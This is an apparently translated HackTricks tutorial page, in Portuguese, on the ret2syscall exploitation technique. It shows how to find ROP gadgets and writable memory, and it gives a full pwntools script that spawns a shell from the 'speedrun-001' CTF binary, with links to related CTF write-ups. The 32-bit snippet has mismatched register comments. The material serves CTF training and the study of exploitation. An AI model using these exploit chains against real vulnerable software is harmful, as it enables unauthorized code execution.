6.6 KiB
Ret2syscall
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Isso é semelhante ao Ret2lib, no entanto, neste caso não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall sys_execve
com alguns argumentos para executar /bin/sh
.
Para preparar a chamada para a syscall, é necessário a seguinte configuração:
rax: 59 Especifica sys_execve
rdi: ptr para "/bin/sh" especifica o arquivo a ser executado
rsi: 0 especifica que nenhum argumento é passado
rdx: 0 especifica que nenhuma variável de ambiente é passada
Basicamente, é necessário escrever a string /bin/sh
em algum lugar e então realizar a syscall
(estando ciente do preenchimento necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever /bin/sh
em uma área conhecida.
{% hint style="success" %}
Outra syscall interessante para chamar é mprotect
que permitiria a um atacante modificar as permissões de uma página na memória.
{% endhint %}
Gadgets de Registro
Vamos começar encontrando como controlar esses registros:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Com esses endereços, é possível escrever o conteúdo na pilha e carregá-lo nos registradores.
Escrever string
Memória gravável
Primeiro, você precisa encontrar um local gravável na memória
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Escrever String na memória
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
32 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bits
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadgets Insuficientes
Se você está com gadgets insuficientes, por exemplo, para escrever /bin/sh
na memória, você pode usar a técnica SROP para controlar todos os valores dos registradores (incluindo RIP e registradores de parâmetros) a partir da pilha:
{% content-ref url="srop-sigreturn-oriented-programming.md" %} srop-sigreturn-oriented-programming.md {% endcontent-ref %}
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Outros Exemplos e Referências
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 bits, sem PIE, nx, escrever em alguma memória um ROP para chamar
execve
e pular para lá. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 bits, nx, sem PIE, escrever em alguma memória um ROP para chamar
execve
e pular para lá. Para escrever na pilha uma função que realiza operações matemáticas é abusada - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, sem PIE, nx, BF canary, escrever em alguma memória um ROP para chamar
execve
e pular para lá.